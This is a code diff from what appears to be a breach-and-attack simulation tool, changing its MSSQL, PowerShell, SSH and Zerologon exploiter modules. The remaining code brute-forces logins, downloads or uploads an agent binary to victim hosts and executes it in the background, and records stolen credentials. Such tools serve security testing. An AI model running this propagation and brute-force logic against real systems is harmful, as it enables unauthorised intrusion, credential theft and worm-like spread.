@ -26,8 +20,6 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL" _EXPLOITED_SERVICE = "MSSQL"
@ -44,20 +36,13 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
) )
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self.cursor = None self.cursor = None
self.agent_http_path = None self.agent_http_path = None
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host)) agent_path_on_victim = get_agent_dst_path(self.host)
# Brute force to get connection # Brute force to get connection
creds = generate_identity_secret_pairs( creds = generate_identity_secret_pairs(
@ -67,18 +52,16 @@ class MSSQLExploiter(HostExploiter):
try: try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError: except FailedExploitationError:
error_message = ( logger.info(
f"Failed brute-forcing of MSSQL server on {self.host}," f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful" f" no credentials were successful"
) )
logger.error(error_message)
return self.exploit_result return self.exploit_result
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return self.exploit_result return self.exploit_result
timestamp = time()
try: try:
self._upload_agent(agent_path_on_victim) self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim) self._run_agent(agent_path_on_victim)
@ -89,17 +72,15 @@ class MSSQLExploiter(HostExploiter):
) )
logger.error(error_message) logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message self.exploit_result.error_message = error_message
return self.exploit_result return self.exploit_result
self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return self.exploit_result return self.exploit_result
def _brute_force( def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]] self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
) -> pymssql.Cursor: ) -> pymssql.Cursor:
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
@ -125,7 +106,6 @@ class MSSQLExploiter(HostExploiter):
) )
for user, password in credentials_iterator: for user, password in credentials_iterator:
timestamp = time()
try: try:
# Core steps # Core steps
# Trying to connect # Trying to connect
@ -142,14 +122,14 @@ class MSSQLExploiter(HostExploiter):
) )
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self._report_login_attempt(timestamp, True, user, password) self.report_login_attempt(True, user, password)
cursor = conn.cursor() cursor = conn.cursor()
return cursor return cursor
except pymssql.OperationalError as err: except pymssql.OperationalError as err:
error_message = f"Connection to MSSQL failed: {err}" logger.info(f"Connection to MSSQL failed: {err}")
logger.info(error_message) self.report_login_attempt(False, user, password)
self._report_login_attempt(timestamp, False, user, password, error_message) # Combo didn't work, hopping to the next one
pass
logger.warning( logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, " "No user/password combo was able to connect to host: {0}:{1}, "
@ -159,23 +139,14 @@ class MSSQLExploiter(HostExploiter):
"Bruteforce process failed on host: {0}".format(self.host.ip_addr) "Bruteforce process failed on host: {0}".format(self.host.ip_addr)
) )
def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath): def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim) http_thread = self._start_agent_server(agent_path_on_victim)
self._run_agent_download_command(agent_path_on_victim) self._run_agent_download_command(agent_path_on_victim)
if http_thread:
MSSQLExploiter._stop_agent_server(http_thread) MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server( def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository self.host, str(agent_path_on_victim), self.agent_binary_repository
) )
@ -208,7 +179,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline( agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, str(agent_path_on_victim) self.servers, self.current_depth + 1, agent_path_on_victim
) )
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -1,14 +1,8 @@
import logging import logging
from pathlib import Path, PurePath from pathlib import Path, PurePath
from time import time
from typing import List, Optional from typing import List, Optional
from common import OperatingSystem from common import OperatingSystem
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
from infection_monkey.exploit.powershell_utils.credentials import ( from infection_monkey.exploit.powershell_utils.credentials import (
@ -27,7 +21,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
class RemoteAgentCopyError(Exception): class RemoteAgentCopyError(Exception):
@ -41,17 +34,6 @@ class RemoteAgentExecutionError(Exception):
class PowerShellExploiter(HostExploiter): class PowerShellExploiter(HostExploiter):
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
_EXPLOITER_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self._client = None self._client = None
@ -86,21 +68,12 @@ class PowerShellExploiter(HostExploiter):
) )
return self.exploit_result return self.exploit_result
execute_agent_timestamp = time()
try: try:
self._execute_monkey_agent_on_victim() self._execute_monkey_agent_on_victim()
except Exception as err:
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
self._publish_propagation_event(
time=execute_agent_timestamp,
success=False,
error_message=self.exploit_result.error_message,
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
self._publish_propagation_event(time=execute_agent_timestamp, success=True) except Exception as ex:
logger.error(f"Failed to propagate to the remote host: {ex}")
self.exploit_result.error_message = str(ex)
return self.exploit_result return self.exploit_result
@ -121,27 +94,21 @@ class PowerShellExploiter(HostExploiter):
try: try:
client = PowerShellClient(self.host.ip_addr, creds, opts) client = PowerShellClient(self.host.ip_addr, creds, opts)
connect_timestamp = time()
client.connect() client.connect()
logger.info( logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}" f"{creds.username}, Secret Type: {creds.secret_type.name}"
) )
self._publish_exploitation_event(time=connect_timestamp, success=True)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._report_login_attempt(True, creds) self._report_login_attempt(True, creds)
return client return client
except Exception as ex: except Exception as ex:
error_message = ( logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: " f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
) )
logger.debug(error_message)
self._publish_exploitation_event(
time=connect_timestamp, success=False, error_message=error_message
)
self._report_login_attempt(False, creds) self._report_login_attempt(False, creds)
return None return None

View File

@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED: if credentials.secret_type == SecretType.CACHED:
return None return None
plaintext_secret = str(get_plaintext(credentials.secret)) plaintext_secret = get_plaintext(credentials.secret)
if credentials.secret_type == SecretType.PASSWORD: if credentials.secret_type == SecretType.PASSWORD:
return plaintext_secret return plaintext_secret

View File

@ -1,27 +1,15 @@
import io import io
import logging import logging
from ipaddress import IPv4Address
from pathlib import PurePath from pathlib import PurePath
from time import time
from typing import Optional
import paramiko import paramiko
from common import OperatingSystem from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer from common.utils import Timer
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
@ -31,7 +19,6 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -43,15 +30,11 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15 TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH" _EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(SSHExploiter, self).__init__() super(SSHExploiter, self).__init__()
@ -63,7 +46,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset() timer.reset()
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs( user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"], secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -87,8 +70,6 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey) pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key") logger.error("Failed reading ssh key")
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -105,30 +86,20 @@ class SSHExploiter(HostExploiter):
) )
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string) self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
ssh.close() ssh.close()
error_message = ( logger.info(
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
) )
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string)
continue continue
except Exception as err: except Exception as err:
error_message = ( logger.error(f"Unknown error while attempting to login with ssh key: {err}")
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
raise FailedExploitationError raise FailedExploitationError
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs( user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"], secrets=self.options["credentials"]["exploit_password_list"],
@ -145,8 +116,6 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -162,125 +131,24 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(
logger.debug(error_message) "Failed logging into victim %r with user" " %s: (%s)",
self._publish_exploitation_event(timestamp, False, error_message=error_message) self.host,
user,
err,
)
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
ssh.close() ssh.close()
continue continue
except Exception as err: except Exception as err:
error_message = ( logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
raise FailedExploitationError raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
port = self._get_ssh_port()
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
if self._is_interrupted():
self._set_interrupted()
raise RuntimeError("Propagation was interrupted")
monkey_path_on_victim = get_agent_dst_path(self.host)
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
raise FailedExploitationError(self.exploit_result.error_message)
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(timestamp, True)
self.add_executed_cmd(cmdline)
except Exception as exc:
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
@ -288,9 +156,28 @@ class SSHExploiter(HostExploiter):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", "")) port = int(servkey.replace("tcp-", ""))
return port is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"):
try: try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode() uname_os = stdout.read().lower().strip().decode()
@ -302,33 +189,34 @@ class SSHExploiter(HostExploiter):
if not uname_os: if not uname_os:
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return False return self.exploit_result
except Exception as exc: except Exception as exc:
logger.error(f"Error running uname os command on victim {self.host}: ({exc})") self.exploit_result.error_message = (
return False f"Error running uname os command on victim {self.host}: ({exc})"
return True )
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: logger.error(self.exploit_result.error_message)
if not self.host.os.get("type") and not self._get_victim_os(ssh): return self.exploit_result
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary( agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os self.exploit_result.os
) )
except RetrievalError:
return None
return agent_binary_file_object if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try: try:
timestamp = time()
with ssh.open_sftp() as ftp: with ssh.open_sftp() as ftp:
ftp.putfo( ftp.putfo(
agent_binary_file_object, agent_binary_file_object,
@ -338,12 +226,51 @@ class SSHExploiter(HostExploiter):
) )
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
return ScanStatus.USED status = ScanStatus.USED
except Exception as exc: except Exception as exc:
error_message = f"Error uploading file into victim {self.host}: ({exc})" self.exploit_result.error_message = (
self._publish_propagation_event(timestamp, False, error_message=error_message) f"Error uploading file into victim {self.host}: ({exc})"
self.exploit_result.error_message = error_message )
return ScanStatus.SCANNED logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
return self.exploit_result
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
ssh.close()
self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _set_executable_bit_on_agent_binary( def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,7 +3,6 @@ import urllib.error
import urllib.parse import urllib.parse
import urllib.request import urllib.request
from threading import Lock from threading import Lock
from typing import Optional, Tuple
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
@ -29,7 +28,7 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_locked_transfer( def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]: ) -> LockedHTTPServer:
""" """
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information

View File

@ -18,7 +18,6 @@ from impacket.dcerpc.v5.dtypes import NULL
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import Credentials, LMHash, NTHash, Username from common.credentials import Credentials, LMHash, NTHash, Username
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
@ -33,6 +32,9 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter" ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
ZEROLOGON_EVENT_TAGS = frozenset( ZEROLOGON_EVENT_TAGS = frozenset(
{ {
@ -313,7 +315,7 @@ class ZerologonExploiter(HostExploiter):
tags=ZEROLOGON_EVENT_TAGS, tags=ZEROLOGON_EVENT_TAGS,
stolen_credentials=extracted_credentials, stolen_credentials=extracted_credentials,
) )
self.agent_event_queue.publish(credentials_stolen_event) self.event_queue.publish(credentials_stolen_event)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]: def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes): if not self.save_HKLM_keys_locally(username, user_pwd_hashes):

View File

@ -1,14 +1,15 @@
from dataclasses import dataclass from dataclasses import dataclass
from typing import Dict from typing import Dict
from common.types import NetworkPort, PingScanData from common.types import PingScanData
from infection_monkey.i_puppet import FingerprintData, PortScanData from infection_monkey.i_puppet import FingerprintData, PortScanData
Port = int
FingerprinterName = str FingerprinterName = str
@dataclass @dataclass
class IPScanResults: class IPScanResults:
ping_scan_data: PingScanData ping_scan_data: PingScanData
port_scan_data: Dict[NetworkPort, PortScanData] port_scan_data: Dict[Port, PortScanData]
fingerprint_data: Dict[FingerprinterName, FingerprintData] fingerprint_data: Dict[FingerprinterName, FingerprintData]

View File

@ -10,7 +10,7 @@ from common.agent_configuration import (
PropagationConfiguration, PropagationConfiguration,
ScanTargetConfiguration, ScanTargetConfiguration,
) )
from common.types import NetworkPort, PingScanData, PortStatus from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData
from infection_monkey.model import VictimHost, VictimHostFactory from infection_monkey.model import VictimHost, VictimHostFactory
from infection_monkey.network import NetworkAddress from infection_monkey.network import NetworkAddress
@ -21,7 +21,7 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.utils.threading import create_daemon_thread from infection_monkey.utils.threading import create_daemon_thread
from . import Exploiter, IPScanner, IPScanResults from . import Exploiter, IPScanner, IPScanResults
from .ip_scan_results import FingerprinterName from .ip_scan_results import FingerprinterName, Port
logger = logging.getLogger() logger = logging.getLogger()
@ -146,7 +146,7 @@ class Propagator:
@staticmethod @staticmethod
def _process_tcp_scan_results( def _process_tcp_scan_results(
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData] victim_host: VictimHost, port_scan_data: Mapping[Port, PortScanData]
): ):
for psd in filter( for psd in filter(
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values() lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()

View File

@ -13,7 +13,7 @@ from common.agent_event_serializers import (
AgentEventSerializerRegistry, AgentEventSerializerRegistry,
register_common_agent_event_serializers, register_common_agent_event_serializers,
) )
from common.agent_events import CredentialsStolenEvent, PropagationEvent from common.agent_events import CredentialsStolenEvent
from common.agent_registration_data import AgentRegistrationData from common.agent_registration_data import AgentRegistrationData
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
from common.network.network_utils import get_my_ip_addresses, get_network_interfaces from common.network.network_utils import get_my_ip_addresses, get_network_interfaces
@ -21,11 +21,7 @@ from common.types import SocketAddress
from common.utils.argparse_types import positive_int from common.utils.argparse_types import positive_int
from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.attack_utils import ScanStatus, UsageEnum
from common.version import get_version from common.version import get_version
from infection_monkey.agent_event_handlers import ( from infection_monkey.agent_event_forwarder import AgentEventForwarder
AgentEventForwarder,
add_stolen_credentials_to_propagation_credentials_repository,
notify_relay_on_propagation,
)
from infection_monkey.config import GUID from infection_monkey.config import GUID
from infection_monkey.control import ControlClient from infection_monkey.control import ControlClient
from infection_monkey.credential_collectors import ( from infection_monkey.credential_collectors import (
@ -35,6 +31,7 @@ from infection_monkey.credential_collectors import (
from infection_monkey.credential_repository import ( from infection_monkey.credential_repository import (
AggregatingPropagationCredentialsRepository, AggregatingPropagationCredentialsRepository,
IPropagationCredentialsRepository, IPropagationCredentialsRepository,
add_credentials_from_event_to_propagation_credentials_repository,
) )
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.hadoop import HadoopExploiter
